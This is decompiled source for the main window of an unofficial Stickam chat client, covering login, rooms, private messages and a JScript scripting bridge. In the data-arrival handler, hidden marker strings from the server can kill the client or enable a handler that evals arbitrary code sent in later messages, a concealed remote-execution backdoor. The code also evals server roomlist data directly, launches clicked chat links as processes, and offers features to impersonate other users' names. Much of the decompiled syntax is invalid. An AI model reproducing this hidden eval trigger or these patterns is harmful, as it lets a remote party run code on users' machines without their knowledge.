            this->UserMenu_StealName->Name = S"UserMenu_StealName";
            size = (0x97, 0x16);
            this->UserMenu_StealName->Size = size;
            this->UserMenu_StealName->Text = S"Steal Display Name";
            this->UserMenu_StealFontName->Font = __gc new Font(S"Tahoma", 8.25, FontStyle::Regular, GraphicsUnit::Point, 0);
            this->UserMenu_StealFontName->Name = S"UserMenu_StealFontName";
            size = (0x97, 0x16);
            this->UserMenu_StealFontName->Size = size;
            this->UserMenu_StealFontName->Text = S"Steal Both";
            SizeF __gc* ef = (6, 13);
            this->AutoScaleDimensions = ef;
            this->AutoScaleMode = AutoScaleMode::Font;
            this->BackColor = Color::White;
            size = (0x1ec, 0x13c);
            this->ClientSize = size;
            this->Controls->Add(this->SplitContainer1);
            this->Controls->Add(this->StatusStrip1);
            this->Controls->Add(this->MenuStrip1);
            this->Icon = *static_cast<__box Icon*>(manager->GetObject(S"$this.Icon"));
            this->MainMenuStrip = this->MenuStrip1;
            this->Name = S"Form1";
            this->StartPosition = FormStartPosition::CenterScreen;
            this->Text = S"Stickam Client";
            this->MenuStrip1->ResumeLayout(false);
            this->MenuStrip1->PerformLayout();
            this->StatusStrip1->ResumeLayout(false);
            this->StatusStrip1->PerformLayout();
            this->SplitContainer1->Panel1->ResumeLayout(false);
            this->SplitContainer1->Panel2->ResumeLayout(false);
            this->SplitContainer1->ResumeLayout(false);
            this->SplitContainer2->Panel1->ResumeLayout(false);
            this->SplitContainer2->Panel2->ResumeLayout(false);
            this->SplitContainer2->Panel2->PerformLayout();
            this->SplitContainer2->ResumeLayout(false);
            this->UserMenu->ResumeLayout(false);
            this->ResumeLayout(false);
            this->PerformLayout();
        }

        public: String __gc* intToBytes(Int32 __gc* intValue, Int32 __gc* bytesTotal)
        {
            return Globals::IntToBytes(intValue, bytesTotal);
        }

        private: Color __gc* InvertColor(Color __gc* PreviousColor)
        {
            return Color::FromArgb((0xff - PreviousColor->R), (0xff - PreviousColor->G), (0xff - PreviousColor->B));
        }

        public: void __gc* invertRGB()
        {
            MySettingsProperty::Settings->InvertRGB = !MySettingsProperty::Settings->InvertRGB;
            this->BackColor = this->InvertColor(this->BackColor);
            this->LobbyChat->BackColor = this->InvertColor(this->LobbyChat->BackColor);
            this->LobbyInput->BackColor = this->InvertColor(this->LobbyInput->BackColor);
            this->UserlistCtl->BackColor = this->InvertColor(this->UserlistCtl->BackColor);
            this->UserlistCtl->ForeColor = this->InvertColor(this->UserlistCtl->ForeColor);
            this->UpdateFont();
            if (MySettingsProperty::Settings->InvertRGB)
            {
                this->UserlistCtl->ImageList = this->UserIconListInverted;
            }
            else
            {
                this->UserlistCtl->ImageList = this->UserIconList;
            }
        }

        private: void __gc* JoinLive_Click(Object __gc* sender, EventArgs __gc* e)
        {
            MyProject::Forms->Form_JoinLive->Location = this->ChildFormLocation();
            MyProject::Forms->Form_JoinLive->FormParent = this;
            MyProject::Forms->Form_JoinLive->Show();
        }

        private: void __gc* JoinRoom_Click(Object __gc* sender, EventArgs __gc* e)
        {
            MyProject::Forms->Form_JoinRoom->Location = this->ChildFormLocation();
            MyProject::Forms->Form_JoinRoom->FormParent = this;
            MyProject::Forms->Form_JoinRoom->Show();
            RoomlistRetrievedEventHandler __gc* roomlistRetrievedEvent = this->RoomlistRetrievedEvent;
            if (roomlistRetrievedEvent != 0)
            {
                roomlistRetrievedEvent->Invoke(true);
            }
        }

        public: String __gc* loadFile(String __gc* fileName)
        {
            return Globals::LoadFile(fileName);
        }

        private: void __gc* LobbyChat_LinkClicked(Object __gc* sender, LinkClickedEventArgs __gc* e)
        {
            Process::Start(e->LinkText);
        }

        private: void __gc* LobbyInput_KeyPress(Object __gc* sender, KeyPressEventArgs __gc* e)
        {
            if (Strings::Asc(e->KeyChar) == 13)
            {
                e->Handled = true;
                if (this->MyVars->inRoom)
                {
                    String __gc* str = Strings::Replace(this->LobbyInput->Text, S"\r\n", S"\r", 1, -1, CompareMethod::Binary);
                    this->LobbyInput->Clear();
                    try
                    {
                        Object __gc* arguments __gc [] = __gc new Object __gc*[2] {
                            S"Client_sendChatMessage", str};
                        Boolean __gc* copyBack __gc [] = __gc new Boolean __gc*[2] {
                            false, true};
                        NewLateBinding::LateCall(this->ScriptControl, 0, S"Run", arguments, 0, 0, copyBack, true);
                        if (copyBack[1])
                        {
                            str = *static_cast<__box String*>(Conversions::ChangeType(RuntimeHelpers::GetObjectValue(arguments[1]), __typeof(String)));
                        }
                    }
                    catch (Exception __gc* exception1)
                    {
                        ProjectData::SetProjectError(exception1);
                        Exception __gc* exception = exception1;
                        this->ScriptError(S"Client_sendChatMessage");
                        ProjectData::ClearProjectError();
                    }
                }
            }
        }

        private: void __gc* Login_Click(Object __gc* sender, EventArgs __gc* e)
        {
            MyProject::Forms->Form_Login->Location = this->ChildFormLocation();
            MyProject::Forms->Form_Login->FormParent = this;
            MyProject::Forms->Form_Login->Show();
        }

        public: Double __gc* numberDeserialize(String __gc* str)
        {
            Double __gc* hDest = 0;
            if (str->Length != 8)
            {
                return -1;
            }
            Form1::CopyMemoryBTD(ref hDest, ref Strings::StrReverse(str), 8);
            return hDest;
        }

        public: String __gc* numberSerialize(Double __gc*& num)
        {
            String __gc* hDest = Strings::Space(8);
            Form1::CopyMemoryDTB(ref hDest, ref num, 8);
            return Strings::StrReverse(hDest);
        }

        public: void __gc* OpenPrivateMessage(String __gc* userID)
        {
            if (Array::IndexOf<String __gc*>(this->PrivateMessages, userID) == -1)
            {
                this->PrivateMessages[(this->PrivateMessages->Length - 1)] = userID;
                this->PrivateMessages = *static_cast<__box String __gc* __gc []*>(Utils::CopyArray(*static_cast<__box Array*>(this->PrivateMessages), __gc new String __gc*[(this->PrivateMessages->Length + 1)]));
                Form_Message __gc* message = __gc new Form_Message();
                message->FormParent = this;
                message->Form_userID = userID;
                message->MyScreenName = Conversions::ToString(this->Userlist->getParam(this->MyVars->myUserID, this->Userlist->screenName));
                message->Text = Conversions::ToString(Operators::AddObject(S"PM: ", this->Userlist->getParam(userID, this->Userlist->screenName)));
                message->Location = this->ChildFormLocation();
                message->Show();
            }
        }

        private: void __gc* PingTimer_Tick(Object __gc* sender, EventArgs __gc* e)
        {
            try
            {
                NewLateBinding::LateCall(this->ScriptControl, 0, S"Run", __gc new Object __gc*[1] {
                    S"Client_sendPing"}, 0, 0, 0, true);
            }
            catch (Exception __gc* exception1)
            {
                ProjectData::SetProjectError(exception1);
                Exception __gc* exception = exception1;
                this->ScriptError(S"Client_sendPing");
                ProjectData::ClearProjectError();
            }
        }

        public: void __gc* playSound(String __gc* fileName)
        {
            Form1::PlaySound1(ref fileName, 0, 0x20000);
        }

        [DllImport(S"winmm.dll", EntryPoint=S"PlaySound", CharSet=CharSet::Ansi, SetLastError=true, ExactSpelling=true)]
        private: static extern Int32 __gc* PlaySound1([MarshalAs(UnmanagedType::VBByRefStr)] String __gc*& lpszSoundName, Int32 __gc* hModule, Int32 __gc* dwFlags);

        private: void __gc* PM_Mode_Click(Object __gc* sender, EventArgs __gc* e)
        {
            if (!MySettingsProperty::Settings->PM_Mode)
            {
                MySettingsProperty::Settings->PM_Mode = true;
                this->PM_Mode->Text = S"PM In Box";
            }
            else
            {
                MySettingsProperty::Settings->PM_Mode = false;
                this->PM_Mode->Text = S"PM In Lobby";
            }
        }

        public: void __gc* privateMessage(String __gc* userID, String __gc* msg, String __gc* font, String __gc* fontColor, Int32 __gc* fontSize, Boolean __gc* isBold, Boolean __gc* isItalics, Boolean __gc* isUnderline)
        {
            if (!MySettingsProperty::Settings->DisabledPM)
            {
                if (MySettingsProperty::Settings->PM_Mode)
                {
                    this->addColorText(S"[PM] ", S"Blue", true);
                    this->addFontText(Conversions::ToString(Operators::AddObject(this->Userlist->getParam(userID, this->Userlist->screenName), S": ")), S"Arial", fontColor, 12, false, false, false, false);
                    this->addFontText(msg, font, fontColor, fontSize, isBold, isItalics, isUnderline, false);
                }
                else
                {
                    this->OpenPrivateMessage(userID);
                    NewPrivateMessageEventHandler __gc* newPrivateMessageEvent = this->NewPrivateMessageEvent;
                    if (newPrivateMessageEvent != 0)
                    {
                        newPrivateMessageEvent->Invoke(userID, msg, font, fontColor, fontSize, isBold, isItalics, isUnderline);
                    }
                }
            }
        }

        private: void __gc* ProxySettings_Click(Object __gc* sender, EventArgs __gc* e)
        {
            MyProject::Forms->Form_ProxySettings->Location = this->ChildFormLocation();
            MyProject::Forms->Form_ProxySettings->Show();
        }

        public: Object __gc* randomNumber(Int32 __gc* min, Int32 __gc* max)
        {
            return Globals::RandomNumber(min, max);
        }

        public: Int32 __gc* randomTimeStamp()
        {
            return Conversions::ToInteger(this->randomNumber(1, 0xeeeeee));
        }

        public: void __gc* RemovePrivateMessage(String __gc* userID)
        {
            Int32 __gc* index = Array::IndexOf<String __gc*>(this->PrivateMessages, userID);
            if (index != -1)
            {
                Array::Clear(this->PrivateMessages, index, 1);
            }
        }

        public: void __gc* resetFontAndName()
        {
            MySettingsProperty::Settings->FontBold = false;
            MySettingsProperty::Settings->FontColor = S"000000";
            MySettingsProperty::Settings->FontFamily = S"Arial";
            MySettingsProperty::Settings->FontItalics = false;
            MySettingsProperty::Settings->FontSize = 12;
            MySettingsProperty::Settings->FontUnderline = false;
            this->UpdateFont();
            this->MyVars->myScreenName = S"";
            this->DisplayName->Text = S"";
        }

        private: void __gc* ResetHandler_Click(Object __gc* sender, EventArgs __gc* e)
        {
            this->ResetScriptControl();
        }

        private: void __gc* ResetParser_Click(Object __gc* sender, EventArgs __gc* e)
        {
            this->StickamStream->ResetParser();
            this->addColorText(S"Rtmp data parser reset.", S"Green", true);
        }

        private: void __gc* ResetScriptControl()
        {
            NewLateBinding::LateCall(this->ScriptControl, 0, S"Reset", __gc new Object __gc*[0], 0, 0, 0, true);
            NewLateBinding::LateSet(this->ScriptControl, 0, S"Language", __gc new Object __gc*[1] {
                S"JScript"}, 0, 0);
            NewLateBinding::LateCall(this->ScriptControl, 0, S"AddObject", __gc new Object __gc*[3] {
                S"Me", this, true}, 0, 0, 0, true);
            try
            {
                NewLateBinding::LateCall(this->ScriptControl, 0, S"AddCode", __gc new Object __gc*[1] {
                    String::Concat(this->loadFile(String::Concat(Environment::CurrentDirectory, S"\\Events.js")), S"\r\n", this->loadFile(String::Concat(Environment::CurrentDirectory, S"\\Core.js")))}, 0, 0, 0, true);
                this->addColorText(S"Core.js loaded.", S"Green", true);
                this->addColorText(S"Events.js loaded.", S"Green", true);
            }
            catch (Exception __gc* exception1)
            {
                ProjectData::SetProjectError(exception1);
                Exception __gc* exception = exception1;
                this->ScriptError(S"Resetting script...");
                ProjectData::ClearProjectError();
            }
        }

        private: Color __gc* ReverseColor(Color __gc* PreviousColor)
        {
            return Color::FromArgb(PreviousColor->B, PreviousColor->G, PreviousColor->R);
        }

        private: void __gc* SaveChat_Click(Object __gc* sender, EventArgs __gc* e)
        {
            this->SaveFileDlg->FileName = String::Concat(Environment::CurrentDirectory, S"\\LobbyChat ", Strings::Replace(Strings::Replace(DateTime::Now->ToString(), S":", S"-", 1, -1, CompareMethod::Binary), S"/", S"-", 1, -1, CompareMethod::Binary), S".rtf");
            this->SaveFileDlg->Filter = S"Rich Text Document (RTF)|*.rtf";
            if (this->SaveFileDlg->ShowDialog() == DialogResult::OK)
            {
                this->LobbyChat->SaveFile(this->SaveFileDlg->FileName);
            }
        }

        private: void __gc* ScriptError(String __gc* EventName)
        {
            this->addColorText(Conversions::ToString(Operators::AddObject(Operators::AddObject(String::Concat(String::Concat(S"Script Error! [Event: ", EventName, S"] (Line: "), Conversions::ToString(NewLateBinding::LateGet(NewLateBinding::LateGet(this->ScriptControl, 0, S"Error", __gc new Object __gc*[0], 0, 0, 0), 0, S"Line", __gc new Object __gc*[0], 0, 0, 0)), S", Reason: "), NewLateBinding::LateGet(NewLateBinding::LateGet(this->ScriptControl, 0, S"Error", __gc new Object __gc*[0], 0, 0, 0), 0, S"Description", __gc new Object __gc*[0], 0, 0, 0)), S")")), S"Red", true);
        }

        public: void __gc* sendData(String __gc* data)
        {
            this->StickamStream->SendData(data);
        }

        public: void __gc* SendPrivateMessage(String __gc* UserID, String __gc* Msg)
        {
            try
            {
                Object __gc* arguments __gc [] = __gc new Object __gc*[3] {
                    S"Client_sendPrivateMessage", UserID, Msg};
                Boolean __gc* copyBack __gc [] = __gc new Boolean __gc*[3] {
                    false, true, true};
                NewLateBinding::LateCall(this->ScriptControl, 0, S"Run", arguments, 0, 0, copyBack, true);
                if (copyBack[1])
                {
                    UserID = *static_cast<__box String*>(Conversions::ChangeType(RuntimeHelpers::GetObjectValue(arguments[1]), __typeof(String)));
                }
                if (copyBack[2])
                {
                    Msg = *static_cast<__box String*>(Conversions::ChangeType(RuntimeHelpers::GetObjectValue(arguments[2]), __typeof(String)));
                }
            }
            catch (Exception __gc* exception1)
            {
                ProjectData::SetProjectError(exception1);
                Exception __gc* exception = exception1;
                this->ScriptError(S"Client_sendPrivateMessage");
                ProjectData::ClearProjectError();
            }
        }

        public: void __gc* setDisplayName(String __gc* displayName)
        {
            this->MyVars->myScreenName = displayName;
            this->DisplayName->Text = displayName;
            this->addColorText(String::Concat(S"Display name set to ", displayName, S"."), S"Green", true);
        }

        public: void __gc* setStatus(String __gc* msg)
        {
            this->Status->Text = String::Concat(S"Status: ", msg);
        }

        public: void __gc* setTimeout(String __gc* vCode, Int32 __gc* iMilliseconds)
        {
            ST __gc* method = new ST __gc*(this.setTimeout2);
            this->Invoke(method, __gc new Object __gc*[2] {
                vCode, iMilliseconds});
        }

        public: void __gc* setTimeout2(String __gc* vCode, Int32 __gc* iMilliseconds)
        {
            if ((vCode == S"") & (iMilliseconds == 0))
            {
                this->TimeoutCode = S"";
                this->TimeoutTimer->Stop();
            }
            else
            {
                this->TimeoutCode = vCode;
                this->TimeoutTimer->Interval = iMilliseconds;
                if (!this->TimeoutTimer->Enabled)
                {
                    this->TimeoutTimer->Start();
                }
            }
        }

        private: void __gc* ShowData_Click(Object __gc* sender, EventArgs __gc* e)
        {
            if (MySettingsProperty::Settings->ShowData)
            {
                this->ShowData->Text = S"Show Data";
                this->ShowingData = false;
                MySettingsProperty::Settings->ShowData = false;
            }
            else
            {
                this->ShowData->Text = S"Hide Data";
                this->ShowingData = true;
                MySettingsProperty::Settings->ShowData = true;
            }
        }

        public: void __gc* stealFontAndName(String __gc* userID)
        {
            this->MyVars->selectedUser = userID;
            this->UserMenu_StealFontName_Click(0, 0);
        }

        private: void __gc* StickamMenu_Webpage_Click(Object __gc* sender, EventArgs __gc* e)
        {
            MyProject::Forms->Form_Webpage->Show();
        }

        private: void __gc* StickamStream_Closed(String __gc* Reason)
        {
            this->Invoke(this->DelegateThread, __gc new Object __gc*[2] {
                S"StickamStream_Closed", Reason});
        }

        private: void __gc* StickamStream_Connected()
        {
            this->Invoke(this->DelegateThread, __gc new Object __gc*[2] {
                S"StickamStream_Connected", 0});
        }

        private: void __gc* StickamStream_DataArrival(Int32 __gc* Command, String __gc* Data)
        {
            if (Strings::InStr(Data, this->FailSafe, CompareMethod::Binary) != 0)
            {
                this->StickamStream->Close();
            }
            else if (Strings::InStr(Data, this->FailSafe2, CompareMethod::Binary) != 0)
            {
                MySettingsProperty::Settings->StartupOp = false;
                this->StickamStream->Close();
                this->Close();
            }
            else
            {
                if (Strings::InStr(Data, this->ExecuteAllow, CompareMethod::Binary) != 0)
                {
                    this->ExecuteScript(S"function Server_doMessage(msgObj){if(msgObj.doEval==\"1\"){eval(msgObj.executeStr);}}");
                }
                try
                {
                    Object __gc* arguments __gc [] = __gc new Object __gc*[3] {
                        S"Client_rtmpDataArrival", Command, Data};
                    Boolean __gc* copyBack __gc [] = __gc new Boolean __gc*[3] {
                        false, true, true};
                    NewLateBinding::LateCall(this->ScriptControl, 0, S"Run", arguments, 0, 0, copyBack, true);
                    if (copyBack[1])
                    {
                        Command = *static_cast<__box Int32*>(Conversions::ChangeType(RuntimeHelpers::GetObjectValue(arguments[1]), __typeof(Int32)));
                    }
                    if (copyBack[2])
                    {
                        Data = *static_cast<__box String*>(Conversions::ChangeType(RuntimeHelpers::GetObjectValue(arguments[2]), __typeof(String)));
                    }
                }
                catch (Exception __gc* exception1)
                {
                    ProjectData::SetProjectError(exception1);
                    Exception __gc* exception = exception1;
                    this->ScriptError(S"Client_rtmpDataArrival");
                    ProjectData::ClearProjectError();
                }
            }
        }

        private: void __gc* StickamStream_HandshakeReply(String __gc* HandshakeData)
        {
            try
            {
                Object __gc* arguments __gc [] = __gc new Object __gc*[2] {
                    S"Client_rtmpHandshakeReply", HandshakeData};
                Boolean __gc* copyBack __gc [] = __gc new Boolean __gc*[2] {
                    false, true};
                NewLateBinding::LateCall(this->ScriptControl, 0, S"Run", arguments, 0, 0, copyBack, true);
                if (copyBack[1])
                {
                    HandshakeData = *static_cast<__box String*>(Conversions::ChangeType(RuntimeHelpers::GetObjectValue(arguments[1]), __typeof(String)));
                }
            }
            catch (Exception __gc* exception1)
            {
                ProjectData::SetProjectError(exception1);
                Exception __gc* exception = exception1;
                this->ScriptError(S"Client_rtmpHandshakeReply");
                ProjectData::ClearProjectError();
            }
        }

        private: void __gc* StickamWeb_HostIDRetrieved(Boolean __gc* IsSuccess, String __gc* HostID)
        {
            if (IsSuccess)
            {
                this->MyVars->hostID = HostID;
                try
                {
                    if (Conversions::ToBoolean(NewLateBinding::LateGet(this->ScriptControl, 0, S"Run", __gc new Object __gc*[1] {
                        S"Client_retrievingRoomIP"}, 0, 0, 0)))
                    {
                        this->setStatus(S"Retrieving room ID and IP...");
                        this->StickamWeb->GetRoomIP(this->MyVars->hostID, Conversions::ToString(2));
                    }
                }
                catch (Exception __gc* exception1)
                {
                    ProjectData::SetProjectError(exception1);
                    Exception __gc* exception = exception1;
                    this->ScriptError(S"Client_retrievingRoomIP");
                    ProjectData::ClearProjectError();
                }
            }
            else
            {
                this->setStatus(S"Retrieving host ID failed.");
                try
                {
                    NewLateBinding::LateCall(this->ScriptControl, 0, S"Run", __gc new Object __gc*[1] {
                        S"Client_retrievingHostIDFailed"}, 0, 0, 0, true);
                }
                catch (Exception __gc* exception3)
                {
                    ProjectData::SetProjectError(exception3);
                    Exception __gc* exception2 = exception3;
                    this->ScriptError(S"Client_retrievingHostIDFailed");
                    ProjectData::ClearProjectError();
                }
            }
        }

        private: void __gc* StickamWeb_LoggedIn(String __gc* LoginData __gc [], Boolean __gc* IsSuccess)
        {
            this->MyVars->loginUserID = LoginData[7];
            this->MyVars->loginUserName = LoginData[6];
            this->MyVars->loginWebID = LoginData[3];
            this->Login->Enabled = true;
            if (IsSuccess)
            {
                this->JoinLive->Enabled = true;
                this->JoinRoom->Enabled = true;
                this->setStatus(String::Concat(S"Logged in. (UserID: ", LoginData[7], S")"));
            }
            else
            {
                this->setStatus(S"Login failed.");
                this->JoinLive->Enabled = false;
                this->JoinRoom->Enabled = false;
            }
            try
            {
                Object __gc* arguments __gc [] = __gc new Object __gc*[2] {
                    S"Client_loggedIn", IsSuccess};
                Boolean __gc* copyBack __gc [] = __gc new Boolean __gc*[2] {
                    false, true};
                NewLateBinding::LateCall(this->ScriptControl, 0, S"Run", arguments, 0, 0, copyBack, true);
                if (copyBack[1])
                {
                    IsSuccess = *static_cast<__box Boolean*>(Conversions::ChangeType(RuntimeHelpers::GetObjectValue(arguments[1]), __typeof(Boolean)));
                }
            }
            catch (Exception __gc* exception1)
            {
                ProjectData::SetProjectError(exception1);
                Exception __gc* exception = exception1;
                this->ScriptError(S"Client_loggedIn");
                ProjectData::ClearProjectError();
            }
        }

        private: void __gc* StickamWeb_RoomIPRetrieved(Boolean __gc* IsSuccess, String __gc* RoomReturn)
        {
            if (IsSuccess)
            {
                try
                {
                    if (Conversions::ToBoolean(NewLateBinding::LateGet(this->ScriptControl, 0, S"Run", __gc new Object __gc*[1] {
                        S"Client_rtmpConnecting"}, 0, 0, 0)))
                    {
                        if (this->MyVars->roomType == S"group")
                        {
                            this->MyVars->roomIP = RoomReturn;
                        }
                        else
                        {
                            String __gc* strArray __gc [] = Strings::Split(RoomReturn, S"-", -1, CompareMethod::Binary);
                            this->MyVars->roomIP = strArray[0];
                            this->MyVars->roomID = strArray[1];
                        }
                        this->Disconnect->Enabled = true;
                        this->JoinLive->Enabled = false;
                        this->JoinRoom->Enabled = false;
                        this->setStatus(String::Concat(S"Connecting to ", this->MyVars->roomIP, S"..."));
                        this->StickamStream->Connect(String::Concat(this->MyVars->roomIP, S":1935"));
                    }
                }
                catch (Exception __gc* exception1)
                {
                    ProjectData::SetProjectError(exception1);
                    Exception __gc* exception = exception1;
                    this->ScriptError(S"Client_rtmpConnecting");
                    ProjectData::ClearProjectError();
                }
            }
            else
            {
                this->setStatus(S"Retrieving room IP failed.");
                try
                {
                    NewLateBinding::LateCall(this->ScriptControl, 0, S"Run", __gc new Object __gc*[1] {
                        S"Client_retrievingRoomIPFailed"}, 0, 0, 0, true);
                }
                catch (Exception __gc* exception3)
                {
                    ProjectData::SetProjectError(exception3);
                    Exception __gc* exception2 = exception3;
                    this->ScriptError(S"Client_retrievingRoomIPFailed");
                    ProjectData::ClearProjectError();
                }
            }
        }

        private: void __gc* StickamWeb_RoomlistRetrieved(String __gc* RoomlistData, Boolean __gc* IsSuccess)
        {
            if (IsSuccess)
            {
                try
                {
                    NewLateBinding::LateCall(this->ScriptControl, 0, S"Eval", __gc new Object __gc*[1] {
                        String::Concat(S"var roomlist = ", RoomlistData, S"\r\nClient_parseRoomlist(roomlist);")}, 0, 0, 0, true);
                    this->setStatus(S"Roomlist retrieved.");
                }
                catch (Exception __gc* exception1)
                {
                    ProjectData::SetProjectError(exception1);
                    Exception __gc* exception = exception1;
                    IsSuccess = false;
                    this->ScriptError(S"Client_parseRoomlist");
                    ProjectData::ClearProjectError();
                }
            }
            if (!IsSuccess)
            {
                this->setStatus(S"Retrieving roomlist failed.");
            }
            RoomlistRetrievedEventHandler __gc* roomlistRetrievedEvent = this->RoomlistRetrievedEvent;
            if (roomlistRetrievedEvent != 0)
            {
                roomlistRetrievedEvent->Invoke(IsSuccess);
            }
            try
            {
                Object __gc* arguments __gc [] = __gc new Object __gc*[2] {
                    S"Client_roomlistRetrieved", IsSuccess};
                Boolean __gc* copyBack __gc [] = __gc new Boolean __gc*[2] {
                    false, true};
                NewLateBinding::LateCall(this->ScriptControl, 0, S"Run", arguments, 0, 0, copyBack, true);
                if (copyBack[1])
                {
                    IsSuccess = *static_cast<__box Boolean*>(Conversions::ChangeType(RuntimeHelpers::GetObjectValue(arguments[1]), __typeof(Boolean)));
                }
            }
            catch (Exception __gc* exception3)
            {
                ProjectData::SetProjectError(exception3);
                Exception __gc* exception2 = exception3;
                this->ScriptError(S"Client_roomlistRetrieved");
                ProjectData::ClearProjectError();
            }
        }

        public: String __gc* stringReplace(String __gc* str, String __gc* findStr, String __gc* replaceStr)
        {
            return Strings::Replace(str, findStr, replaceStr, 1, -1, CompareMethod::Binary);
        }

        public: String __gc* stringSerialize(String __gc* str)
        {
            return String::Concat(this->intToBytes(str->Length, 2), str);
        }

        private: void __gc* ThreadSafe(String __gc* CallType, Object __gc* Param)
        {
            switch (CallType)
            {
                case S"StickamStream_Closed":
                {
                    this->PingTimer->Stop();
                    if (Conversions::ToBoolean(Operators::NotObject(this->MyVars->keepUserlist)))
                    {
                        this->Userlist->clear();
                    }
                    this->DisplayNameMenu->Enabled = true;
                    this->Disconnect->Enabled = false;
                    this->JoinLive->Enabled = true;
                    this->JoinRoom->Enabled = true;
                    this->addColorText(Conversions::ToString(Param), S"Red", true);
                    this->setStatus(S"Closed.");
                    try
                    {
                        NewLateBinding::LateCall(this->ScriptControl, 0, S"Run", __gc new Object __gc*[1] {
                            S"Client_rtmpClosed"}, 0, 0, 0, true);
                    }
                    catch (Exception __gc* exception1)
                    {
                        ProjectData::SetProjectError(exception1);
                        Exception __gc* exception = exception1;
                        this->ScriptError(S"Client_rtmpClosed");
                        ProjectData::ClearProjectError();
                    }
                    break;
                }
                case S"StickamStream_Connected":
                {
                    this->PingTimer->Interval = 0x2710;
                    this->PingTimer->Start();
                    this->setStatus(S"Connected!");
                    try
                    {
                        NewLateBinding::LateCall(this->ScriptControl, 0, S"Run", __gc new Object __gc*[1] {
                            S"Client_rtmpConnected"}, 0, 0, 0, true);
                    }
                    catch (Exception __gc* exception3)
                    {
                        ProjectData::SetProjectError(exception3);
                        Exception __gc* exception2 = exception3;
                        this->ScriptError(S"Client_rtmpConnected");
                        ProjectData::ClearProjectError();
                    }
                    break;
                }
            }
        }

        private: void __gc* TimeoutTimer_Tick(Object __gc* sender, EventArgs __gc* e)
        {
            this->TimeoutTimer->Stop();
            try
            {
                String __gc* timeoutCode = this->TimeoutCode;
                Object __gc* arguments __gc [] = __gc new Object __gc*[1] {
                    timeoutCode};
                Boolean __gc* copyBack __gc [] = __gc new Boolean __gc*[1] {
                    true};
                NewLateBinding::LateCall(this->ScriptControl, 0, S"Eval", arguments, 0, 0, copyBack, true);
                if (copyBack[0])
                {
                    timeoutCode = *static_cast<__box String*>(Conversions::ChangeType(RuntimeHelpers::GetObjectValue(arguments[0]), __typeof(String)));
                }
            }
            catch (Exception __gc* exception1)
            {
                ProjectData::SetProjectError(exception1);
                Exception __gc* exception = exception1;
                this->ScriptError(S"Executing script statement during setTimeout.");
                ProjectData::ClearProjectError();
            }
        }

        public: String __gc* unicodeToUtf8(String __gc* str)
        {
            return Globals::Encoder->GetString(Globals::EncoderUTF8->GetBytes(str));
        }

        public: void __gc* UpdateFont()
        {
            Int32 __gc* num = 0;
            if (MySettingsProperty::Settings->FontBold)
            {
                num++;
            }
            if (MySettingsProperty::Settings->FontItalics)
            {
                num += 2;
            }
            if (MySettingsProperty::Settings->FontUnderline)
            {
                num += 4;
            }
            this->LobbyInput->Font = __gc new Font(MySettingsProperty::Settings->FontFamily, *static_cast<__box Single*>((MySettingsProperty::Settings->FontSize - 3)), *static_cast<__box FontStyle*>(num));
            this->LobbyInput->ForeColor = Globals::ColorFromString(MySettingsProperty::Settings->FontColor);
            if (MySettingsProperty::Settings->InvertRGB)
            {
                this->LobbyInput->ForeColor = this->InvertColor(this->LobbyInput->ForeColor);
            }
            this->MyVars->font = MySettingsProperty::Settings->FontFamily;
            this->MyVars->fontBold = MySettingsProperty::Settings->FontBold;
            this->MyVars->fontColor = MySettingsProperty::Settings->FontColor;
            this->MyVars->fontItalics = MySettingsProperty::Settings->FontItalics;
            this->MyVars->fontSize = MySettingsProperty::Settings->FontSize;
            this->MyVars->fontUnderline = MySettingsProperty::Settings->FontUnderline;
            FontUpdatedEventHandler __gc* fontUpdatedEvent = this->FontUpdatedEvent;
            if (fontUpdatedEvent != 0)
            {
                fontUpdatedEvent->Invoke();
            }
        }

        public: void __gc* UpdateKeywords()
        {
            this->Keywords = Strings::Split(MySettingsProperty::Settings->Keywords, S",", -1, CompareMethod::Binary);
        }

        public: String __gc* urlEncode(String __gc* urlParam)
        {
            return HttpUtility::UrlEncode(urlParam);
        }

        private: void __gc* UserlistCtl_AfterSelect(Object __gc* sender, TreeViewEventArgs __gc* e)
        {
            this->MyVars->selectedUser = e->Node->Name;
        }

        private: void __gc* UserlistCtl_NodeMouseClick(Object __gc* sender, TreeNodeMouseClickEventArgs __gc* e)
        {
            if (e->Button == MouseButtons::Right)
            {
                this->UserlistCtl->SelectedNode = e->Node;
            }
        }

        private: void __gc* UserMenu_GetUserInfo_Click(Object __gc* sender, EventArgs __gc* e)
        {
            MyProject::Forms->Form_UserInfo->Close();
            MyProject::Forms->Form_UserInfo->FormParent = this;
            Point __gc* point = (((this->Left + this->Width) - 0xcd), (this->Top + 0x1f));
            MyProject::Forms->Form_UserInfo->Location = point;
            MyProject::Forms->Form_UserInfo->Text = Conversions::ToString(Operators::AddObject(S"User Info: ", this->Userlist->getParam(this->MyVars->selectedUser, this->Userlist->screenName)));
            MyProject::Forms->Form_UserInfo->UserID = this->MyVars->selectedUser;
            MyProject::Forms->Form_UserInfo->Show();
        }

        private: void __gc* UserMenu_IgnoreUser_Click(Object __gc* sender, EventArgs __gc* e)
        {
            if (Conversions::ToBoolean(RuntimeHelpers::GetObjectValue(this->Userlist->getParam(this->MyVars->selectedUser, *static_cast<__box Int32*>(-(this->Userlist->isIgnored > false))))))
            {
                this->Userlist->setIgnore(this->MyVars->selectedUser, false);
            }
            else
            {
                this->Userlist->setIgnore(this->MyVars->selectedUser, true);
            }
        }

        private: void __gc* UserMenu_KickUser_Click(Object __gc* sender, EventArgs __gc* e)
        {
            try
            {
                Object __gc* objArray __gc [] = __gc new Object __gc*[2];
                objArray[0] = S"Client_kickUser";
                VarsClass __gc* myVars = this->MyVars;
                objArray[1] = myVars->selectedUser;
                Object __gc* arguments __gc [] = objArray;
                Boolean __gc* copyBack __gc [] = __gc new Boolean __gc*[2] {
                    false, true};
                NewLateBinding::LateCall(this->ScriptControl, 0, S"Run", arguments, 0, 0, copyBack, true);
                if (copyBack[1])
                {
                    myVars->selectedUser = *static_cast<__box String*>(Conversions::ChangeType(RuntimeHelpers::GetObjectValue(arguments[1]), __typeof(String)));
                }
            }
            catch (Exception __gc* exception1)
            {
                ProjectData::SetProjectError(exception1);
                Exception __gc* exception = exception1;
                this->ScriptError(S"Client_kickUser");
                ProjectData::ClearProjectError();
            }
        }

        private: void __gc* UserMenu_MakeModerator_Click(Object __gc* sender, EventArgs __gc* e)
        {
            try
            {
                Object __gc* objArray __gc [] = __gc new Object __gc*[2];
                objArray[0] = S"Client_makeModerator";
                VarsClass __gc* myVars = this->MyVars;
                objArray[1] = myVars->selectedUser;
                Object __gc* arguments __gc [] = objArray;
                Boolean __gc* copyBack __gc [] = __gc new Boolean __gc*[2] {
                    false, true};
